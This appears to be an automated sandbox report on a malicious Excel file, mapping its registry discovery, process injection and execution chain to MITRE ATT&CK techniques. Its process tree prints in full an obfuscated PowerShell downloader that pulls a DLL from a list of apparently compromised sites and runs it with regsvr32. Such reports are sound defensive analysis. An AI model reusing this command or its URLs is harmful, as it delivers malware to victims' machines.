806f40b33359622f698ef99724429ce5fccdb7c6eb5f80c08fe5b0c16c026691

System Information Discovery

Processes:

wscript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

regsvr32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
636	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
5040	powershell.exe
5040	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	5040	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	Process
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE
636	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

EXCEL.EXEwscript.execmd.exe

description	pid	Process	procid_target
PID 636 wrote to memory of 516	636	EXCEL.EXE	87
PID 636 wrote to memory of 516	636	EXCEL.EXE	87
PID 516 wrote to memory of 5040	516	wscript.exe	88
PID 516 wrote to memory of 5040	516	wscript.exe	88
PID 516 wrote to memory of 748	516	wscript.exe	99
PID 516 wrote to memory of 748	516	wscript.exe	99
PID 748 wrote to memory of 2068	748	cmd.exe	101
PID 748 wrote to memory of 2068	748	cmd.exe	101
PID 748 wrote to memory of 2068	748	cmd.exe	101

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\806f40b33359622f698ef99724429ce5fccdb7c6eb5f80c08fe5b0c16c026691.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:636
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\etyockqw.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"https:dhjdhjwildmanwildfood.comdhjwp-admindhjwxyadXKXFedhjbouhttps:dhjdhjashven.co.ukdhjwp-includesdhjUwBairqGXVb11tCudhjbouhttps:dhjdhjaigenix.comartstudios.comdhjcgi-bindhjZZ8HCNr40Hdhjbouhttps:dhjdhjfastonlineearn.comdhjwp-contentdhjLdhjbouhttps:dhjdhjmbmscaffolding.co.ukdhjtestdhj3jdhjbouhttps:dhjdhjineslebuhan.comdhjwp-includesdhj7dLR8UB3RFfSHd4cZNdhjbouhttps:dhjdhjmccoygloballinks.comdhjcgi-bindhjHvZWLrLljiRj2ckdhjbouhttp:dhjdhjlonaomer.comdhjwp-contentdhj6Gdhjbouhttps:dhjdhjtainformado.com.brdhjwp-contentdhj0Ysotdhjbouhttps:dhjdhjnifdtb.indhjwp-contentdhj9uHo3GBgyIQdhjbouhttps:dhjdhjsdn3sajen.stormapp.indhjwp-admindhjXc6Zdhjbouhttps:dhjdhjnarsanat.comdhjbannerdhjTnIhzdhjbouhttps:dhjdhjvanessanascimento.com.brdhjauren-xboxdhjcDD2dfWdhjbouhttps:dhjdhjmedvital.com.brdhjarquivosdhjq6ZjbPPoR7ldhjbouhttps:dhjdhjmcjalandhar.indhj1950-killdhjBMoLHJM4gdhjbouhttps:dhjdhjnuranabd.comdhjwp-contentdhjBhYOZ2pJV5qdhjbouhttps:dhjdhjsdigitaltv.onlinedhjwp-admindhjrpRCArrXjpoUXodhjbouhttp:dhjdhjnews.leta.com.vndhj-dhjNQOY80odhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\irlkhkuw.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 32463){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5040
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:748
  - - \??\c:\windows\syswow64\regsvr32.exe
      c:\windows\syswow64\regsvr32.exe /s c:\programdata\irlkhkuw.dll
      4⤵
      System Location Discovery: System Language Discovery
      PID:2068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

System Information Discovery

4

System Location Discovery

T1614

System Language Discovery